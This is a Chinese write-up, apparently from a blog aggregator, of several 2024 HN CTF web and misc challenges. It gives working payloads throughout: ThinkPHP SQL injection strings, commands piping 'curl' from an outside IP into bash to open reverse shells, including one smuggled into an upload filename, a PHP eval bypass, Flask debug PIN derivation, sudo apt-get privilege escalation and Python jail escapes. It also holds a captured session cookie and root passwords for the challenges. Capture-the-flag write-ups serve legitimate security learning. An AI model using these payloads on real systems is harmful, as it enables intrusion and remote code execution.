2024 HN CTF WebMisc 部分 wp

2024-06-01 08:28
文章标签 2024 ctf 部分 wp webmisc hn

本文主要是介绍2024 HN CTF WebMisc 部分 wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Web

ez_tp

判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式

  'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

默认phpinfo模式 走路由模式
类似这种传参

http://serverName/index.php/模块/控制器/操作

Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句

"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "

解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合

name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag

直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
image.png

/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent 触发 and关键字被拦截
image.png
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程

import requestsurl="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"#files={'file':open("D:\\flag.txt","rb")}headers={"Accept":"$get"} #实际没有res=requests.post(url,headers=headers)print(res.text)

image.png

ezflask

法一:
当成无回显RCE的题
直接反弹shell

cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()

curl -T 外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]

image.png

Gojava

存在信息泄露 /robots.txt
image.png

可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑

javac 实现编译
jar cvfe 实现打包

考虑直接 命令注入

黑名单处就是考点

为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行

image.png

本地调试跟踪代码发现 filename中 /会截断 不能出现 / 否则截断字符报错
image.png

image.png

可以报错带出
image.png
直接curl 反弹shell

POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-streampublic class Main {public static void main(String[] args) {System.out.println("Hello gojava");}
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--

直接弹了回来
image.png
看了下main.go 感觉出题人想 /testExecYourJarOnServer

// 执行.jar文件 这里可以直接反弹shell cmd := exec.Command("java", "-jar", jarFile)

感觉非预期了
根目录下存在 memorandum 备忘录
得到字符 H2LvFxnWENLqVxE
image.png
死活提不了权限
最后发现 H2LvFxnWENLqVxE是root的密码
su root
image.png

main.go

package mainimport ("fmt""io""log""math/rand""mime/multipart""net/http""os""os/exec""path/filepath""strconv""strings""time"
)var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}func main() {// 设置路由http.HandleFunc("/gojava", compileJava)http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)// 设置静态文件服务器fs := http.FileServer(http.Dir("."))http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {// 检查请求的路径是否需要被禁止访问if isForbiddenPath(r.URL.Path) {http.Error(w, "Forbidden", http.StatusForbidden)return}// 否则,继续处理其他请求fs.ServeHTTP(w, r)}))// 启动服务器log.Println("Server started on :80")log.Fatal(http.ListenAndServe(":80", nil))
}func isForbiddenPath(path string) bool {// 检查路径是否为某个特定文件或文件夹的路径// 这里可以根据你的需求进行设置forbiddenPaths := []string{"/main.go","/upload/",}// 检查请求的路径是否与禁止访问的路径匹配for _, forbiddenPath := range forbiddenPaths {if strings.HasPrefix(path, forbiddenPath) {return true}}return false
}func isFilenameBlacklisted(filename string) bool {for _, char := range filename {for _, blackChar := range blacklistChars {if char == blackChar {return true}}}return false
}// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {// 检查请求方法是否为POSTif r.Method != http.MethodPost {http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)return}// 解析multipart/form-data格式的表单数据err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MBif err != nil {http.Error(w, "Error parsing form", http.StatusInternalServerError)return}// 从表单中获取上传的文件file, handler, err := r.FormFile("file")if err != nil {http.Error(w, "Error retrieving file", http.StatusBadRequest)return}defer file.Close()if isFilenameBlacklisted(handler.Filename) {http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)return}// 检查文件扩展名是否为.javaif !strings.HasSuffix(handler.Filename, ".java") {http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)return}// 保存上传的文件至./upload文件夹err = saveFile(file, "./upload/"+handler.Filename)if err != nil {http.Error(w, "Error saving file", http.StatusInternalServerError)return}// 生成随机文件名rand.Seed(time.Now().UnixNano())randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"// 编译Java文件cmd := "javac ./upload/" + handler.FilenamecompileCmd := exec.Command("sh", "-c", cmd)//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)compileOutput, err := compileCmd.CombinedOutput()if err != nil {http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)return}// 将编译后的.class文件打包成.jar文件fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")jarOutput, err := jarCmd.CombinedOutput()if err != nil {http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)return}// 返回编译后的.jar文件的下载链接fmt.Fprintf(w, "/final/%s", randomName)
}// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {// 创建目标文件f, err := os.Create(filePath)if err != nil {return err}defer f.Close()// 将上传的文件内容复制到目标文件中_, err = io.Copy(f, file)if err != nil {return err}return nil
}func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {jarFile := "./final/" + r.URL.Query().Get("jar")// 检查是否存在指定的.jar文件if !strings.HasSuffix(jarFile, ".jar") {http.Error(w, "Invalid jar file format", http.StatusBadRequest)return}if _, err := os.Stat(jarFile); os.IsNotExist(err) {http.Error(w, "Jar file not found", http.StatusNotFound)return}// 执行.jar文件 这里可以直接反弹shell 还缺提权cmd := exec.Command("java", "-jar", jarFile)output, err := cmd.CombinedOutput()if err != nil {http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)return}// 输出结果w.Header().Set("Content-Type", "text/plain")w.Write(output)
}

奇怪的网站

后台设置

Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低

扫描后发现 存在

/404.php
/flag.php

/index.png 被当作 php进行解析 修改了默认apache .htaccess配置
存在vim泄露 对应文件名

import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"res=requests.get(url)if res.status_code==200:print(url)breakelse:print(res.status_code)

image.png
访问 .flag.php.swm

echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];}           return $num == '11259375';        }                }                        return false;                {                if ( ($c >= $a) && ($c <= $b) )                $c = ord($num{$i});        {        for ($i = 0; $i < strlen($num); $i++)        $b = ord('9');        $a = ord('1');{ function check($num)*/you find me!/*

混乱的数据 要先恢复 vim缓存文件

vim -r flag.php
<?php/*you find me!*/function check($num){$a = ord('1');$b = ord('9');for ($i = 0; $i < strlen($num); $i++){$c = ord($num{$i});if ( ($c >= $a) && ($c <= $b) ){return false;}}return $num == '11259375';}$num = $_GET['num'];

搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
image.png
没p用
浏览器判断 数据包
image.png
首页存在302跳转
提示 :
image.png

image.png
404存在可疑的 头
用bp发包

Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?

答案是不会

预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
image.png
可以接受的请求头
模仿 404.php的第一次预请求
image.png

猜测时传参 ?ff
image.png
可以读到源码

<?php
header("Secret:  After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){header("Cookie: ?ff");$file=$_GET['ff'];if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){ die('hacker!');}echo file_get_contents($file);
}

尝试读取 .htaccess文件

<FilesMatch "index.png">SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]

ggggoku.php

<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {if(preg_match('/`/i', $a)){die("nonono~~~");}eval('$b="' . addslashes($_GET['a']) . '";');
} else {die('RCE都不会了?');
}?>

image.png
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。

http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}

PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号

ggggoku.php?a=${eval($_POST[1])}

有一堆disabled_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|

进行正则匹配后发现
popen()命令没有被禁止 尝试

$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){        echo fread($hane, 1024);  
}  
pclose($hane);

image.png
完美过关 内容见绕过笔记1
image.png

curl直接反弹shell回来
image.png

find / -perm -u=s -type f 2>/dev/null

image.png
唯一可以利用的是su 切换目录

find / -type f -user www-data -readable 2>/dev/null

没找到直接 linpeas信息搜集
image.png
特别注意标红内容

cat /home/admin/passwd

image.png
md5(goku): bef27466a245ce3ec692bd25409c2549
image.png
没有tty 不完整 不可以pty 如何处理

usr/bin/script -qc /bin/bash /dev/null

最终是提权到root superuser 不是admin哦
猜测密码是root的密码
image.png

GPTS

# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到

python3 -c 'import pty;pty.spawn("/bin/sh")'

查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
image.png
涉及的权限和用户 ctfgame->ctfer->root
image.png
本地的gcc和useful software 命令
image.png
ctfer的密码隐藏在 mail中

find / -type f -user ctfgame -readable 2>/dev/null

查看 当前用户可读的文件也是一种方法
image.png
ctfer : KbsrZrSCVeui#+R
切换到ctfer

su ctfer

查看sudo特权

sudo -l

image.png

sudo adduser test -gid 0

/etc/sudoers 文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
image.png

image.png
kobe用户 有 apt-get sudo 利用
image.png
考虑apt-get 提权
image.png

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

此时就是 root用户

image.png

flipPin

考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decodeimport jsondefault_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)def encrypt(session):iv = get_random_bytes(AES.block_size)cipher = AES.new(key, AES.MODE_CBC, iv)return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))def decrypt(session):raw = b64decode(session)cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])try:res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')return resexcept Exception as e:print(e)app = Flask(__name__)filename_blacklist = {'self','cgroup','mountinfo','env','flag'
}@app.route("/")
def index():session = request.cookies.get('session')if session is None:res = Response("welcome to the FlipPIN server try request /hint to get the hint")res.set_cookie('session', encrypt(default_session).decode())return reselse:return 'have a fun'@app.route("/hint")
def hint():res = Response(open(__file__).read(), mimetype='text/plain')return res@app.route("/read")
def file():session = request.cookies.get('session')if session is None:res = Response("you are not logged in")res.set_cookie('session', encrypt(default_session))return reselse:plain_session = decrypt(session)if plain_session is None:return 'don\'t hack me'session_data = json.loads(plain_session)if session_data['admin'] :filename = request.args.get('filename')if any(blacklist_str in filename for blacklist_str in filename_blacklist):abort(403, description='Access to this file is forbidden.')try:with open(filename, 'r') as f:return f.read()except FileNotFoundError:abort(404, description='File not found.')except Exception as e:abort(500, description=f'An error occurred: {str(e)}')else:return 'You are not an administrator'if __name__ == "__main__":app.run(host="0.0.0.0", port=9091, debug=True)

访问 /etc/passwd
image.png
当前用户是 ctfUser
传入错误session 使flask报错
image.png

#### /usr/lib/python3.9/site-packages/flask/app.py

/sys/class/net/eth0/address 获取 mac地址

image.png

02:42:ac:11:00:0d

尝试读机器码 存在黑名单

filename_blacklist = {'self', # 1 'cgroup', # cpuset'mountinfo','env','flag'# /proc/1/cpuset
}

读取相关文件绕过过滤

  • 过滤了self的时候怎么读 machine-id
    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤 cgroup
    • 用mountinfo或者cpuset
      读取 后半部分 /proc/1/cpuset
      image.png
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

读取前半部分 /proc/sys/kernel/random/boot_id

9fd11036-6c2e-41c7-bb26-7d358f670070

机器码就是

9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

计算后pin码是 101-622-803
image.png
flag 在环镜变量

Please_RCE_Me

PHP/5.6.40
低版本存在 preg_replace //e 任意命令执行

flag=Please_give_me_flag&task=phpinfo();

查看php的默认配置
array_map或array_filter绕过 做转接头即可

flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");

image.png

Misc

ezjail

import osbanner = r"""
__        __   _       ___            _____   _    ___    _   _  ___   _   _ 
\ \      / /__| | ___ / _ \ _ __ ___ |___ /  | |_ / _ \  | | | |( _ ) | \ | |\ \ /\ / / _ \ |/ __| | | | '_ ` _ \  |_ \  | __| | | | | |_| |/ _ \/\  \| |\ V  V /  __/ | (__| |_| | | | | | |___) | | |_| |_| | |  _  | (_>  < |\  |\_/\_/ \___|_|\___|\___/|_| |_| |_|____/   \__|\___/  |_| |_|\___/\/_| \_|_       _ _| | __ _/ | |_  | |/ _` | | |
| |_| | (_| | | |___\___/ \__,_|_|_____|"""badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter","next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W','X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']class Jail():def __init__(self) -> None:print(banner)print("Will you be able to read the $FLAG?")exec(self.generate_dynamic_code())print("type 'hint' to get source code")while(1):print("> ", end="")self.run_code(input())def generate_dynamic_code(self):dynamic_code = ""flag_values = [ 70, 76, 65, 71]for i in flag_values:dynamic_code += f"self.{chr(i)} = {i}\n"return dynamic_codedef run_code(self, code):if code.isascii():if code == "hint":print(open(__file__).read())if (all([x not in code for x in badchars]) andall([x not in code for x in badwords])):try:exec(code)except Exception as e:print(f"something wrong \n{e}")else:print("Exploiting detected")else:exit("?¿")def test(self):print(dir(self))def get_var(self, varname):print(os.getenv(varname))Jail()

最终实现 exec(code) 执行Python代码
存在几个没有上的有意思的函数方法

def test(self):print(dir(self))def get_var(self, varname):print(os.getenv(varname))

python中调用类中方法self.方法名

def test(self):print(dir(self))

输入 self.test()
image.png
有特别的提示
image.png
1 3 0 2 实际调用 dir(self) 列举了self`可用的属性 以列表形式返回

def get_var(self, varname):print(os.getenv(varname))

尝试读取 FLAG 环镜变量构造字符 FLAG

self.get_var(dir(self)[0])

image.png

print(dir(self)[1]) 
F

解决 数字和中括号的问题
[] 可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3 可以用 富比较构造出 0,1
image.png

image.png
+ 拼接即可

().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) Gdir(self).__getitem__()dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))

image.png
可以成功拼接出FLAG
image.png
本地可以直接打通

self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))

很遗憾 n 被过滤了
无非换一种富比较即可
image.png

().__le__(()) 1 
().__lt__(()) 0
dir(self).__getitem__()
1302F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))

image.png
官方题解用的是 python匿名函数进行拼接

self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)  
* 代表解包 
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数

一个一个返回字符 传入 形参 构造FLAG

这篇关于2024 HN CTF WebMisc 部分 wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1020485

相关文章

创新、引领、发展——SAMPE中国2024年会在京盛大开幕

绿树阴浓夏日长,在这个色彩缤纷的季节,SAMPE中国2024年会暨第十九届国际先进复合材料制品原材料、工装及工程应用展览会在中国国际展览中心(北京朝阳馆)隆重开幕。新老朋友共聚一堂,把酒话桑麻。 为期4天的国际学术会议以“先进复合材料,引领产业创新与可持续化发展”为主题,设立了34个主题分会场,其中包括了可持续化会场、国际大学生会场、中法复合材料制造技术峰会三个国际会场和女科技工作者委员会沙龙,

android一键分享功能部分实现

为什么叫做部分实现呢,其实是我只实现一部分的分享。如新浪微博,那还有没去实现的是微信分享。还有一部分奇怪的问题:我QQ分享跟QQ空间的分享功能,我都没配置key那些都是原本集成就有的key也可以实现分享,谁清楚的麻烦详解下。 实现分享功能我们可以去www.mob.com这个网站集成。免费的,而且还有短信验证功能。等这分享研究完后就研究下短信验证功能。 开始实现步骤(新浪分享,以下是本人自己实现

【计算机组成原理】部分题目汇总

计算机组成原理 部分题目汇总 一. 简答题 RISC和CICS 简要说明,比较异同 RISC(精简指令集)注重简单快速的指令执行,使用少量通用寄存器,固定长度指令,优化硬件性能,依赖软件(如编译器)来提升效率。 CISC(复杂指令集)包含多样复杂的指令,能一条指令完成多步操作,采用变长指令,减少指令数但可能增加执行时间,倾向于硬件直接支持复杂功能减轻软件负担。 两者均追求高性能,但RISC

2024年6月24日-6月30日(ue独立游戏为核心)

试过重点放在独立游戏上,有个indienova独立游戏团队是全职的,由于他们干了几个月,节奏暂时跟不上,紧张焦虑了。五一时也有点自暴自弃了,实在没必要,按照自己的节奏走即可。精力和时间也有限,放在周末进行即可。除非哪天失业了,再也找不到工作了,再把重心放在独立游戏上。 另外,找到一个同样业余的美术,从头做肉鸽游戏,两周一次正式交流即可。节奏一定要放慢,不能影响正常工作生活。如果影响到了,还不如自

潜艇伟伟迷杂交版植物大战僵尸2024最新免费安卓+ios苹果+iPad分享

嗨,亲爱的游戏迷们!今天我要给你们种草一个超有趣的游戏——植物大战僵尸杂交版。这款游戏不仅继承了原有经典游戏的核心玩法,还加入了许多创新元素,让玩家能够体验到前所未有的乐趣。快来跟随我一起探索这个神奇的世界吧! 植物大战僵尸杂交版最新绿色版下载链接: https://pan.quark.cn/s/d60ed6e4791c 🔥 创新与经典的完美结合 植物大战僵尸杂交版在保持了原游戏经典玩

Chromium 调试指南2024 - 远程开发(下)

1. 引言 在《Chromium 调试指南2024 - 远程开发(上)》中,我们探讨了远程开发的基本概念、优势以及如何选择合适的远程开发模式。掌握了这些基础知识后,接下来我们将深入了解如何在远程环境中高效地进行Chromium项目的调试工作。 调试是开发过程中至关重要的一环,特别是对于像Chromium这样复杂的大型项目。远程调试不仅可以充分利用远程服务器的强大计算资源,还能确保开发环境的一致

【2024最新版】Java JDK安装配置全攻略:图文详解

目录 1. 引言2. 准备工作2.1 **确定操作系统**2.2 **检查系统要求**2.3 **下载JDK安装包**3. 安装步骤(以Windows系统为例)4. 配置环境变量4.1 jdk配置验证4.2 **配置JAVA_HOME环境变量**4.3 **配置Path环境变量**4.4 验证jdk是否配置成功 5. 结语 1. 引言 随着技术的不断发展和更新,Java作为世界上

【团队成长】2024-25周周报-业务介绍内容创作

大家好!我们是IndustryOR 团队,致力于分享业界落地的算法技术。欢迎关注微信公众号/知乎/CSDN【运筹匠心】 。 记录人:张哲铭,某互联网大厂算法专家 【团队成长/个人成长】系列的推文会以 【工作周报】 的方式记录IndustryOR团队及其成员的成长过程,请大家一起见证和参与我们团队从0-1-N的发展过程。 记录人顺序:张哲铭-向杜兵-高欣甜-黄世鸿-许佳鸣

2024老年护理新前沿:养老实训室的创新应用

随着人口老龄化的加速,如何为老年人提供优质的养老服务已成为社会关注的重点。在这一背景下,养老实训室应运而生,成为培养专业养老人才、改善老年人生活质量的新兴平台。与传统的课堂教学相比,养老实训室能够为学员提供更为生动、贴近实际的培训体验,为老年护理事业注入创新动力。 一、养老实训室的功能优势 模拟真实环境,提升操作技能 养老实训室通过还原老年人的居住环境,如卧室、浴室等,让学员能实际操作各种日

湖北民族大学2024年成人高等继续教育招生简章

湖北民族大学,这所承载着深厚文化底蕴和卓越教育理念的学府,在崭新的2024年再次敞开怀抱,热烈欢迎有志于深化学习、提升自我的成人学员们。今年的成人高等继续教育招生,不仅是学校对于终身教育理念的具体实践,更是为广大社会人士提供了一次难得的学习机会。 湖北民族大学,以其悠久的历史、优秀的师资和卓越的教学质量,早已在成人教育领域树立了良好的口碑。学校秉承“博学、博爱、立人、达人”的校训,致力于培养